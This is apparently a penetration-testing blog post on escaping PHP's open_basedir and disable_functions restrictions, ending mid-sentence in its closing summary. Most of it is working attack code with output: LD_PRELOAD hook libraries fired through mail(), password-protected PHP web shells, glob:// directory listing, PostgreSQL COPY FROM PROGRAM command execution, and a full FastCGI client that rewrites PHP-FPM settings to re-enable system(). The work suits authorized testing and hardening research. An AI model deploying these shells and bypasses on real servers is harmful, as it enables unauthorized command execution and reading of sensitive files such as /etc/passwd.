TL;DR: This blog post will cover some open_basedir
bypass techniques and
also some disable_functions
as bonus.
0x01: Introduction
Sometimes it is possible to place a PHP file on a web server during a pentest
with the aim to achieve code execution. Unfortunately, or “lucky” for the
client, PHP is configured to disabled most of the common techniques to execute
system commands. The most common settings are open_basedir
and
disable_functions
. The open_basedir
option, that can define in the
‘php.ini’ file, will disable the realpath cache. As a result, this option
defines the location or paths from which PHP is allowed to access files using
PHP functions like fopen()
or basedir()
. This is really annoying because
this function will prevent a PHP script/command to access files like
'/etc/passwd' or config files etc. which can be really useful during an
assessment. The disable_functions
will, as the name already suggests,
disable harmful functions such as system()
and exec()
.
0x02: Get a list of ‘disable_functions’
A good point to start is to figure out which kind of functions are disabled; the
easiest way is by using a simple phpinfo();
or a ini_get()
to get the
juicy information. A sample output could look like:
php > echo ini_get('disable_functions');
dbase_open, dbmopen, diskfreespace, disk_free_spspace, disk_total_space, dl, exec, filepro, filepro_retrieve, filepro_rowcount, get_cfg_var, getlastmo, getmygid, getmyinode, getmypid, getmyuid, int_restore, link, opcache_compile_file, opcache_get_configuration, opcache_get_status, openlog, parse_ini_file, passthru, pcntl_exec, pcntl_fork, pfsockopen, popen, posix_getlogin, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_ttyname, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, show_source, symlink, syslog, system, umask
php >
If we try to use common functions like system()
or exec()
PHP will drop
an error message:
php > system("id");
PHP Warning: system() has been disabled for security reasons in php shell code on line 1
php >
0x03: Bypass ‘disable_functions’ via ‘LD_PRELOAD’
Method one - ‘LD_PRELOAD’ with ‘sendmail()’
Dynamic link libraries are common in UNIX environments and ‘LD_PRELOAD’ is an interesting environment variable that can affect links at runtime which is very nice and allows to define dynamic link libraries that load first before the program runs.
In this case, we need a function that can we hook and can be triggered through a
PHP function. A good candidate for this purpose is the mail()
function in
PHP which often use sendmail
as Mail Transfer Agent (MTA). By using the
readelf
command we are able to see which library functions are called by
sendmail
. This is necessary to find an appropriate system function that we
can hook to get code execution :)
root@9e0e2f2defc1:/tmp/test# readelf -Ws /usr/sbin/sendmail
Symbol table '.dynsym' contains 345 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND stdout@GLIBC_2.2.5 (3)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __res_query@GLIBC_2.2.5 (9)
3: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND __environ@GLIBC_2.2.5 (3)
4: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND ber_pvt_opt_on@OPENLDAP_2.4_2 (11)
5: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND stdin@GLIBC_2.2.5 (3)
6: 0000000000000000 0 OBJECT WEAK DEFAULT UND _environ@GLIBC_2.2.5 (3)
[...]
142: 0000000000000000 0 FUNC GLOBAL DEFAULT UND geteuid@GLIBC_2.2.5 (3)
143: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_verify_cert@OPENSSL_1.0.0 (7)
[...]
The geteuid()
system function looks quite good for this purpose. And a
sample hook file could look like:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int geteuid() {
const char* cmd = getenv("CMD");
if (getenv("LD_PRELOAD") == NULL)
return 0;
unsetenv("LD_PRELOAD");
system(cmd);
}
When the geteuid()
function in a shared library will call by a PHP script
the library try to load the system()
system function and execute the given
command; stored in the environment variable ‘CMD’. The hook can easily
compile with gcc
:
root@9e0e2f2defc1:/tmp/test# gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so
A simple PHP script could look like:
<?php
$pwd = "ThisIsASuperPassword";
$lib = "bypass_disablefunc.so";
if (isset($_POST['pwd']) && $_POST['pwd'] == $pwd) {
$cmd = $_POST["cmd"];
if (isset($cmd)) {
echo "[+] Executed command: " . $cmd . "\n";
if (!putenv("CMD=" . $cmd))
die("[!] putenv CMD failed\n");
if (!putenv("LD_PRELOAD=" . getcwd() . "/" . $lib))
die("[!] putenv LD_PRELOAD failed\n");
mail("", "", "", "");
echo "[+] CMD => " . getenv("CMD") . "\n";
echo "[+] LD_PRELOAD => " . getenv("LD_PRELOAD") . "\n";
}
}
?>
After the shared library and the PHP script is upload to the web server we
should be able to execute commands and bypass the disable_functions
restriction in PHP:
root@9e0e2f2defc1:/tmp/test# time curl "http://127.0.0.1:8080/test.php" -d "pwd=ThisIsASuperPassword&cmd=sleep+4"
[+] Executed command: sleep 4
[+] CMD => sleep 4
[+] LD_PRELOAD => /tmp/test/bypass_disablefunc.so
real 0m4.077s
user 0m0.004s
sys 0m0.015s
root@9e0e2f2defc1:/tmp/test#
In some situation, it can take a bit more time because we have not defined a
recipient address in the PHP mail()
function of the PHP script. The
mail()
function will wait until sendmail
occurs with an error message
that no recipient addresses were found in the header.
$ strace -e trace=getuid,execve,process -f php –d 'disable_functions=dbase_open,dbmopen,diskfreespace,disk_free_spspace,disk_total_space,dl,exec,filepro,filepro_retrieve,filepro_rowcount,
get_cfg_var,getlastmo,getmygid,getmyinode,getmypid,getmyuid,int_restore,link,opcache_compile_file,opcache_get_configuration,opcache_get_status,openlog,parse_ini_file,passthru,pcntl_exec,
pcntl_fork,pfsockopen,popen,posix_getlogin,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_ttyname,posix_uname,proc_close,
proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,symlink,syslog,system,umask' -S 127.0.0.1:8080
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f84b51b1a10) = 740
wait4(740, strace: Process 740 attached
<unfinished ...>
[pid 740] execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], [/* 17 vars */]) = 0
[pid 740] arch_prctl(ARCH_SET_FS, 0x7f616b5a1700) = 0
[pid 740] clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0x7ffd08da36dc) = 741
[pid 740] wait4(741, strace: Process 741 attached
<unfinished ...>
[pid 741] execve("/bin/sh", ["sh", "-c", "exit 0"], [/* 16 vars */]) = 0
[pid 741] arch_prctl(ARCH_SET_FS, 0x7fa438611480) = 0
[pid 741] exit_group(0) = ?
[pid 741] +++ exited with 0 +++
[pid 740] <... wait4 resumed> [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 741
[pid 740] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=741, si_uid=0, si_status=0, si_utime=0, si_stime=0} ---
[pid 740] clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f616b5a19d0) = 742
[pid 740] wait4(-1, strace: Process 742 attached
<unfinished ...>
[pid 742] execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], [/* 16 vars */]) = 0
[pid 742] arch_prctl(ARCH_SET_FS, 0x7fe3ab0ad700) = 0
[pid 742] getuid() = 0
[pid 742] getuid() = 110
[pid 742] getuid() = 110
No recipient addresses found in header
[pid 742] exit_group(0) = ?
[pid 742] +++ exited with 0 +++
[pid 740] <... wait4 resumed> [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 742
[pid 740] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=742, si_uid=110, si_status=0, si_utime=0, si_stime=0} ---
[pid 740] exit_group(0) = ?
[pid 740] +++ exited with 0 +++
<... wait4 resumed> [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 740
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=740, si_uid=0, si_status=0, si_utime=0, si_stime=0} ---
[Fri Jun 14 15:58:06 2019] 127.0.0.1:41490 [200]: /test.php
--- SIGWINCH {si_signo=SIGWINCH, si_code=SI_KERNEL} ---
--- SIGWINCH {si_signo=SIGWINCH, si_code=SI_KERNEL} ---
strace: Process 739 detached
Method two - ‘LD_PRELOAD’ without ‘sendmail’
What happen if sendmail
is not installed on the server and we try the
approach describe in method one? The answer is pretty simple; nothing :-). The
PHP wrapper will drop an error message such as
sh: 1: /usr/sbin/sendmail: not found
and our hooked geteuid()
will never
execute. As a result, no command execution.
Fortunately we can use the concept of __attribute__ ((__constructor__))
to
hijack the new started process triggered by the mail()
function before the
main function runs. When mail()
tries to start a new child process, our
shared library is loaded as well.
The new shared library with the concept of __attribute__ ((__constructor__))
could look like:
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void hellyeah (void){
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");
system(cmd);
}
If we now trigger the uploaded PHP script the
__attribute__ ((__constructor__))
concept will kick in and we got code
execution again \m/.
root@9e0e2f2defc1:/tmp/test# curl "http://127.0.0.1:8080/test.php" -d "pwd=ThisIsASuperPassword&cmd=id"
[+] Executed command: id
[+] CMD => id
[+] LD_PRELOAD => /tmp/test/bypass_disablefunc.so
root@9e0e2f2defc1:/tmp/test#
[...]
$ strace -e trace=getuid,execve,process -f php -d 'disable_functions=dbase_open,dbmopen,diskfreespace,disk_free_spspace,disk_total_space,dl,exec,filepro,filepro_retrieve,filepro_rowcount,
get_cfg_var,getlastmo,getmygid,getmyinode,getmypid,getmyuid,int_restore,link,opcache_compile_file,opcache_get_configuration,opcache_get_status,openlog,parse_ini_file,passthru,pcntl_exec,
pcntl_fork,pfsockopen,popen,posix_getlogin,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_ttyname,posix_uname,proc_close,
proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,symlink,syslog,system,umask' -S 127.0.0.1:8080
execve("/usr/bin/php", ["php", "-d", "disable_functions=dbase_open,dbm"..., "-S", "127.0.0.1:8080"], [/* 15 vars */]) = 0
arch_prctl(ARCH_SET_FS, 0x7fcebc154740) = 0
PHP 7.0.33-0+deb9u3 Development Server started at Fri Jun 14 23:13:13 2019
Listening on http://127.0.0.1:8080
Document root is /root
Press Ctrl-C to quit.
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fcebc154a10) = 12033
wait4(12033, uid=0(root) gid=0(root) groups=0(root)
sh: 1: /usr/sbin/sendmail: not found
[{WIFEXITED(s) && WEXITSTATUS(s) == 127}], 0, NULL) = 12033
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12033, si_uid=0, si_status=127, si_utime=0, si_stime=0} ---
[Fri Jun 14 23:13:17 2019] 127.0.0.1:39266 [200]: /test.php
0x04: Bypass ‘open_basedir’ via ‘glob()’
One nice PHP function that can be used to bypass open_basedir
is
glob()
[1]. Here a short description from the official PHP documentation
[2]:
The ‘glob()’ function searches for all the pathnames matching pattern according to the rules used by the libc ‘glob()’ function, which is similar to the rules used by common shells.
Unfortunately, the glob()
function allows us only to list directory and
files and not more. We' will don’t have the capability to read any files by
using the glob()
function but we will see later in this blog post that we
can combine this function to get code execution in some circumstances.
If we use scandir()
for example, PHP will fail with the following error
messages:
root@6258faa4f925:/var/www/html/docroot# php -d 'open_basedir=/var/www/html/docroot' -a
Interactive mode enabled
php > scandir('/etc/');
PHP Warning: scandir(): open_basedir restriction in effect. File(/etc/) is not within the allowed path(s): (/var/www/html/docroot) in php shell code on line 1
PHP Warning: scandir(/etc/): failed to open dir: Operation not permitted in php shell code on line 1
PHP Warning: scandir(): (errno 1): Operation not permitted in php shell code on line 1
php >
But if we use glob()
and the DirectoryIterator()
class we are able to
display content from directories though the defined path in open_basedir
don’t allow it:
php > $p = new DirectoryIterator("glob:///e??/*");
php > foreach ($p as $c) { echo $c->__toString() . "\n"; }
X11
adduser.conf
alternatives
apache2
apparmor
apparmor.d
apt
bash.bashrc
bash_completion.d
bindresvport.blacklist
blkid.conf
[...]
A relative path like '/etc/' will not work due to open_basedir
restrictions but we can still use wildcards [3] like ‘??’. In point 0x03 we
can see how useful this technique can be :).
0x05: Bypass ‘open_basedir’ and ‘disable_functions’ via PDO -> PostgreSQL
This technique will use the ability to access a PostgreSQL server to read and execute arbitrary commands in the context of the connected database user before we are able to use this technique, some restrictions and requirements have to fulfill for successful exploitation. Following points are necessary at least:
- The application have to use PostgreSQL as database management system (DBMS);
- We need to know the credentials to connect to the DBMS;
- The database user have to be part of the
pg_read_server_files
or/andpg_execute_server_program
role or must be a superuser; - The running PostgreSQL version must be 9.3 or higher to support the ‘PROGRAM’ parameter of the ‘COPY’ command [4];
- The PHP Data Objects (PDO) driver to access the PostgreSQL server must be
installed and enable. The
phpinfo()
is your friend;
If all conditions are fulfilled we are able to read files and execute arbitrary commands. This could be also really cool if the DBMS is hosted on another server rather than the web application. This could allow an attacker to escalate the privileges in the company network. But please keep in mind, the access to the DBMS could be out of scope especially if the DBMS is hosted on a different server.
The ‘COPY’ function can be used, as the name already mentioned, to copy data between a file and table. A short description of the official PostgreSQL documentation [3]:
‘COPY’ moves data between PostgreSQL tables and standard file-system files. ‘COPY TO’ copies the contents of a table to a file, while COPY FROM copies data from a file to a table […] When ‘PROGRAM’ is specified, the server executes the given command and reads from the standard output of the program, or writes to the standard input of the program.
As I mentioned in point 3, the database user must be part of the
pg_read_server_files
, pg_execute_server_program
role or a superuser. If
not the ‘COPY’ command will fail as shown below:
test=> \duS test
List of roles
Role name | Attributes | Member of
----------+------------+-----------
test | | {}
test=> CREATE TABLE poc(test TEXT);
CREATE TABLE
test=> COPY poc FROM PROGRAM 'id';
ERROR: must be superuser to COPY to or from an external program
HINT: Anyone can COPY to stdout or from stdin. psql's \copy command also works for anyone.
test=>
The role is available in PostgreSQL 11 and higher [5]. If the current user is part of the role or has superuser privileges, we are able to read and execute commands:
postgres=# SELECT version();
version
------------------------------------------------------------------------------------------------
PostgreSQL 9.5.6 on x86_64-pc-linux-gnu, compiled by gcc (Alpine 6.2.1) 6.2.1 20160822, 64-bit
(1 row)
postgres=# ALTER USER test WITH SUPERUSER;
ALTER ROLE
postgres=# \duS test
List of roles
Role name | Attributes | Member of
----------+------------+-----------
test | Superuser | {}
postgres=#
[...]
test=# COPY public.poc FROM PROGRAM 'id';
COPY 1
test=# SELECT * FROM public.poc;
test
-----------------------------------
uid=70(postgres) gid=70(postgres)
(1 row)
test=#
Or if we just want to read files and bypassing the ‘open_basedir’ restriction:
test=# COPY public.poc from '/etc/passwd';
COPY 28
test=# SELECT * FROM public.poc LIMIT 5;
test
------------------------------------------
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
(5 rows)
test=#
A proof-of-concept to execute arbitrary commands could look like:
<?php
$dbhost = $_POST['host'];
$dbuser = $_POST['user'];
$dbpass = $_POST['pass'];
$cmd = $_POST['cmd'];
if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($cmd)) {
echo sprintf("[+] Connect to: %s\n", $dbhost);
$dbh = new PDO("pgsql:host=" . $dbhost, $dbuser, $dbpass);
echo("[+] Create temp table...\n");
$query = "CREATE TABLE PoC(test TEXT)";
$res = $dbh->query($query);
echo sprintf("[+] Execute command: %s\n", $cmd);
$query = "COPY public.PoC FROM PROGRAM '" . $cmd . "'";
$res = $dbh->query($query) or die("[!] COPY fail...\n");
echo("[+] Get content of the temp table:\n\n");
$query = "SELECT * FROM public.PoC";
$res = $dbh->query($query);
$c = $res->fetchAll();
foreach ($c as $row => $link) {
echo $link["test"] . "\n";
}
echo("\n[+] Remove temp table...\n");
$query = "DROP TABLE public.PoC";
$res = $dbh->query($query);
$dbh = null;
}
?>
After the PHP script is uploaded to the web server we should be able to execute commands in the context of the DBMS user:
~ # curl "http://127.0.0.1:8080/poc.php" -d "host=127.0.0.1&user=test&pass=h3Lly34h7H15154r34lly900DPwD&cmd=id"
[+] Connect to: 127.0.0.1
[+] Create temp table...
[+] Execute command: id
[+] Get content of the temp table:
uid=70(postgres) gid=70(postgres)
[+] Remove temp table...
~ #
0x06: Bypass ‘open_basedir’ and ‘disable_functions’ via FPM/FastCGI
During my research, I’ve found a technique that allows connecting to the FastCGI Process Manager (FPM) socket. This allows us to change PHP settings for example ‘open_basedir’ or ‘disable_functions’ to our desired value. The described technique in this chapter will only work when PHP use FPM/FastCGI as server API.
FPM is a PHP FastCGI implementation with some features useful for heavy-loaded
sites. Usually, PHP-FPM is a service of multiple processes. That means there are
several workers who deal with requests and one master to manage those workers.
To get an overview and the information or each worker processes, FPM uses
structures of fpm_scoreboard_s
and fpm_scoreboard_proc_s
[6] to
record their statuses.
The diagram below depicts how PHP-FPM deal with client requests:
First of all, the HTTP request would be converted to the format of FastCGI by the web server worker (in this example Apache) and be sent to FPM worker. There are two kinds of socket implemented on FPM:
- A TCP socket (127.0.0.1:9000); and
- A UNIX socket (e.g. unix:///var/run/php7-fpm.sock);
If we know one of the sockets, we would be able to connect to the socket and
communicate through the socket with FPM-PHP. So far so good, but how this
allows us to bypass open_basedir
or even any PHP restriction? Before we are
able to answer this question we have to know how a typical FastCGI request looks
like. FastCGI supports several types of FastCGI requests [7]:
typedef enum _fcgi_request_type {
FCGI_BEGIN_REQUEST = 1, /* [in] */
FCGI_ABORT_REQUEST = 2, /* [in] (not supported) */
FCGI_END_REQUEST = 3, /* [out] */
FCGI_PARAMS = 4, /* [in] environment variables */
FCGI_STDIN = 5, /* [in] post data */
FCGI_STDOUT = 6, /* [out] response */
FCGI_STDERR = 7, /* [out] errors */
FCGI_DATA = 8, /* [in] filter data (not supported) */
FCGI_GET_VALUES = 9, /* [in] */
FCGI_GET_VALUES_RESULT = 10 /* [out] */
} fcgi_request_type;
In general, the FastCGI type ‘FCGI_BEGIN_REQUEST’ would be the first request to be sent [8]:
typedef struct _fcgi_begin_request_rec {
fcgi_header hdr;
fcgi_begin_request body;
} fcgi_begin_request_rec;
This type of request contains a header and body value. The header would show
their version, type request-id, and length. The body would show the data of this
type, for example, the environment variables (e.g $_SERVER
) in the format of
key-value and would be shown in type 4 (‘FCGI_PARAMS’) of the request types.
Since the PHP version 5.3.3, PHP-FPM is supported [9] and we are able to
read and to set environment variables as well. In the context of PHP, this means
we can set the value of ‘PHP_VALUE’. Setting this value allows us to activate
new PHP extensions and also to change the ‘open_basedir’ value, for more
information please refer to the official documentation [10].
Long story short, a fake FastCGI which use the UNIX socket could look like:
<?php
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
$filepath = getcwd() . '/tmp.php';
$req = '/' . basename($filepath);
$uri = $req;
$client = new FCGIClient("unix:///var/run/php/php7.1-fpm.sock", -1);
$php_value = "open_basedir=/\ndisable_functions=\"\"";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => 'exploit',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9000',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
);
$client->request($params, NULL);
The fake FastCGI can we include to an existed PHP script to overwrite the
disable_functions
and open_basedir
value. The most important values in
the fake FastCGI are:
[...]
<?php
$filepath = getcwd() . '/tmp.php'; // (1)
[...]
$client = new FCGIClient("unix:///var/run/php/php7.1-fpm.sock", -1); // (2)
$php_value = "allow_url_include=On\nopen_basedir=/\ndisable_functions=\"\""; // (3)
$params = array(
[...]
'SCRIPT_FILENAME' => $filepath, // (4)
[...]
'PHP_VALUE' => $php_value, // (5)
[...]
);
[...]
The first point (1) is one of the important things because you cannot use
the exploit file itself as the ‘SCRIPT_FILENAME’ (4). When this happens
the server will answer with a “500 internal server error” due to a request
deadlock. For this purpose, I’ve used the existing file ‘tmp.php’. The content
of the ‘tmp.php’ file is not important. Did you remember the glob()
function
from point 0x01? Yes? - perfect :) because we can use the technique to find the
unix socket (2) which is necessary to establish a connection to PHP-FPM.
Point (3) is your desire ‘PHP_VALUE’s (5).
In this example we change the open_basedir
value to '/' rather the
original restricted folder set in the php.ini
. Furthermore, we change the
disable_functions
to “”. The changed settings would change until the FPM
service is reloaded or restarted. A sample script that include the fake FastCGI
could look like:
<?php
include(getcwd() . "/fcgi.php");
$pwd = "85591a62f6920b4ec474a9c3feea380d";
if (isset($pwd) && isset($_POST['pwd']) == $pwd) {
$cmd = $_POST['cmd'];
if (isset($cmd))
system($cmd);
} else {
echo sprintf("PHP version (must >= 5.3.3): %s\n", phpversion());
echo sprintf("PHP SAPI Name (must fpm-cgi): %s\n", php_sapi_name());
echo sprintf("disable_functions: %s\n", ini_get("disable_functions") ? ini_get("disable_functions") : "no values");
echo sprintf("open_basedir: %s\n", ini_get("open_basedir"));
}
?>
If we execute the PHP script, that includes the fake FastCGI, the FastCGI client will overwrite our restriction:
~# curl -s "http://127.0.0.1:8080/poc.php"
PHP version (must >= 5.3.3): 7.1.0RC2
PHP SAPI Name (must fpm-cgi): fpm-fcgi
disable_functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,
pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,
pcntl_setpriority,pcntl_async_signals
open_basedir: /var/www/html/docroot
~# curl -s "http://127.0.0.1:8080/poc.php"
PHP version (must >= 5.3.3): 7.1.0RC2
PHP SAPI Name (must fpm-cgi): fpm-fcgi
disable_functions: no values
open_basedir: /
~#
Please note, we have to execute the fake FastCGI twice to make the changes
available. After that we can use PHP commands like system()
.
~# curl -s "http://127.0.0.1:8080/poc.php" -d "pwd=85591a62f6920b4ec474a9c3feea380d&cmd=id"
uid=1000(site) gid=1000(site) groups=1000(site),27(sudo)
~#
0x07: Lesson learned
- If
open_basedir
is set we are usually not able to access files except in the defined folder. By using theglob()
function in combination with theDirectoryIterator
class we are able to list the content of folders thoughopen_basedir
is set. Unfortunately, we cannot read files with theglob()
technique. - In case that PostgreSQL is used as DBMS and we have access to the server and
the used database user is superuser or at least member of the
